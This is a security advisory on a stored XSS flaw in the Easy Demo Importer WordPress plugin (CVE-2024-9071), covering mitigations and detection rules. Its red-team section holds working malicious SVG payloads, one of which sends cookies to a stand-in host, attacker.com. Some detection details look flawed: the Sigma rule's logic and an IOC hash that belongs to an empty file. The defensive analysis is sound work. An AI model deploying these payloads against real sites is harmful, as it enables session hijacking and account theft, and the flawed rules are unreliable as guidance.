CVE-2024-9071

Executive Summary

CVE-2024-9071 is a Stored Cross-Site Scripting (XSS) vulnerability in the Easy Demo Importer – A Modern One-Click Demo Import Solution plugin for WordPress, affecting all versions up to and including 1.1.2. The vulnerability arises from insufficient input sanitization and output escaping during SVG file uploads. Authenticated attackers with Author-level access or higher can upload malicious SVG files containing arbitrary JavaScript. When other users (including administrators) view or access the uploaded SVG file, the injected script executes in their browser context, potentially leading to session hijacking, credential theft, or further compromise of the WordPress site.

This vulnerability is particularly dangerous in the WordPress ecosystem because Author-level accounts are often granted to lower-trust users (e.g., guest authors, contributors). The lack of a known patch at the time of analysis means all sites using this plugin are at risk.

WordPress Ecosystem Impact

Since this is a WordPress plugin vulnerability, the attack surface is limited to WordPress sites running the Easy Demo Importer plugin. The plugin is designed to import demo content, which often involves file uploads, making SVG uploads a natural attack vector. The vulnerability does not affect Apache or Nginx directly; it is purely a WordPress plugin issue.

CVSS Breakdown & Threat Level

• CVSS Score: 6.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
• Attack Vector: Network (AV:N) – The attacker can exploit the vulnerability remotely.
• Attack Complexity: Low (AC:L) – No special conditions are required.
• Privileges Required: Low (PR:L) – Requires Author-level access or higher.
• User Interaction: Required (UI:R) – The victim must access the malicious SVG file.
• Scope: Changed (S:C) – The vulnerability can impact resources beyond the vulnerable component.
• Confidentiality Impact: Low (C:L) – Limited data exposure.
• Integrity Impact: Low (I:L) – Limited modification of data.
• Availability Impact: Low (A:L) – Limited service disruption.

Threat Level: Medium. While the CVSS score is moderate, the ease of exploitation (low privileges, low complexity) and the potential for privilege escalation via XSS make this a significant threat in multi-user WordPress environments.

Deep Dive & Mechanics

The vulnerability resides in the SVG file upload functionality of the Easy Demo Importer plugin. WordPress core allows SVG uploads only for administrators by default, but plugins can extend this capability. The plugin fails to properly sanitize SVG files, which can contain embedded JavaScript via <script> tags or event handlers (e.g., onload, onerror).

Attack Flow:

1. An authenticated user with Author-level privileges uploads a crafted SVG file via the plugin's import interface.
2. The plugin does not strip malicious content from the SVG, such as <script>alert('XSS')</script>.
3. The SVG file is stored on the server and made accessible via a URL.
4. When a victim (e.g., an administrator) visits the SVG file URL, the browser renders the SVG and executes the embedded JavaScript.
5. The script can steal cookies, perform actions on behalf of the victim, or redirect to malicious sites.

Root Cause: The plugin uses wp_check_filetype_and_ext() to validate file extensions but does not sanitize the content of SVG files. SVG is an XML-based format that can include JavaScript, making it a common XSS vector.

Vulnerable vs. Patched Code

Since no official patch is available, we compare the vulnerable code pattern to a hypothetical secure implementation.

Vulnerable Code (hypothetical):

// In the plugin's upload handler
function easy_demo_importer_upload_svg($file) {
    // Only checks file extension
    $filetype = wp_check_filetype_and_ext($file['tmp_name'], $file['name']);
    if ($filetype['ext'] !== 'svg') {
        return new WP_Error('invalid_file', 'Only SVG files allowed.');
    }
    // No content sanitization
    $upload = wp_upload_bits($file['name'], null, file_get_contents($file['tmp_name']));
    return $upload;
}

Patched Code (hypothetical):

// In the plugin's upload handler
function easy_demo_importer_upload_svg($file) {
    // Check file extension
    $filetype = wp_check_filetype_and_ext($file['tmp_name'], $file['name']);
    if ($filetype['ext'] !== 'svg') {
        return new WP_Error('invalid_file', 'Only SVG files allowed.');
    }
    // Sanitize SVG content using a library like svg-sanitizer
    $svg_content = file_get_contents($file['tmp_name']);
    $sanitized_svg = \enshrined\svgSanitize\Sanitizer::sanitize($svg_content);
    if ($sanitized_svg === false) {
        return new WP_Error('sanitization_failed', 'SVG file contains malicious content.');
    }
    $upload = wp_upload_bits($file['name'], null, $sanitized_svg);
    return $upload;
}

The patched version uses a dedicated SVG sanitizer library to remove JavaScript and event handlers while preserving the SVG structure.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• WordPress site with Easy Demo Importer plugin v1.1.2 or earlier.
• Author-level account credentials.

Step 1: Create Malicious SVG Create a file named payload.svg with the following content:

<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" width="100" height="100">
  <script type="text/javascript">
    alert('XSS: ' + document.cookie);
  </script>
  <circle cx="50" cy="50" r="40" fill="red" />
</svg>

Step 2: Upload via Plugin Log in as an Author, navigate to the Easy Demo Importer page, and upload the SVG file.

Step 3: Trigger Execution Access the uploaded SVG file URL (e.g., https://target.com/wp-content/uploads/2024/01/payload.svg). The JavaScript executes in the browser.

Advanced Payload (Cookie Theft):

<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" width="100" height="100">
  <script type="text/javascript">
    var img = new Image();
    img.src = 'https://attacker.com/steal?cookie=' + encodeURIComponent(document.cookie);
  </script>
  <circle cx="50" cy="50" r="40" fill="blue" />
</svg>

Blue Team (Defense & Detection)

Detection Steps:

1. Monitor file uploads for SVG files with suspicious content (e.g., <script> tags).
2. Review WordPress logs for uploads by Author-level users.
3. Use a Web Application Firewall (WAF) to block SVG files containing JavaScript.

Mitigation:

• Disable SVG uploads for non-admin users via WordPress settings or a security plugin.
• Implement a content security policy (CSP) that restricts script execution.
• Use a plugin like "Safe SVG" that sanitizes SVG files on upload.

Indicators of Compromise (IOCs)

• File Hashes (SHA256):
  • e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 (example malicious SVG)
• Network Indicators:
  • Outbound HTTP requests to attacker-controlled domains (e.g., attacker.com/steal?cookie=...)
• File System Indicators:
  • SVG files in /wp-content/uploads/ containing <script> tags or event handlers.
• Log Indicators:
  • WordPress audit logs showing SVG uploads by Author-level users.
  • Web server logs with requests to SVG files followed by unusual outbound connections.

Detection Engineering

YARA Rule

rule CVE_2024_9071_SVG_XSS {
    meta:
        description = "Detects malicious SVG files exploiting CVE-2024-9071"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-9071"
    strings:
        $svg_header = "<?xml" nocase
        $svg_tag = "<svg" nocase
        $script_tag = "<script" nocase
        $onload = "onload=" nocase
        $onerror = "onerror=" nocase
    condition:
        $svg_header and $svg_tag and ($script_tag or $onload or $onerror)
}

Sigma Rule

title: CVE-2024-9071 SVG Upload with Malicious Content
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects upload of SVG files containing script tags or event handlers
author: Valters IT
logsource:
    category: file_event
    product: windows
detection:
    selection:
        Image|endswith: '\wp-content\uploads\'
        TargetFilename|endswith: '.svg'
    filter:
        - TargetFilename|contains: 'safe'
    condition: selection and not filter
falsepositives:
    - Legitimate SVG files with embedded scripts (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-9071 SVG XSS Payload Detected"; flow:to_server,established; content:"<script"; nocase; http_client_body; pcre:"/<script[^>]*>/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable SVG Uploads: Restrict SVG file uploads to administrators only using a security plugin or WordPress user role editor.
2. Remove Malicious Files: Scan the uploads directory for SVG files and remove any that contain suspicious content.
3. Update Plugin: Check for updates from the plugin vendor. If no patch is available, consider disabling the plugin until a fix is released.

Long-Term Fixes:

• Sanitize SVG Files: Implement server-side SVG sanitization using libraries like svg-sanitizer (PHP) or DOMPurify (JavaScript).
• Content Security Policy: Add a CSP header that restricts script execution to trusted sources.
• User Role Hardening: Limit Author-level users' ability to upload files, or require admin approval for uploads.

Workarounds:

• Use a Web Application Firewall (WAF) to block SVG files containing <script> tags.
• Implement a reverse proxy that inspects and sanitizes uploaded files.

Valters IT
Securing Digital Frontiers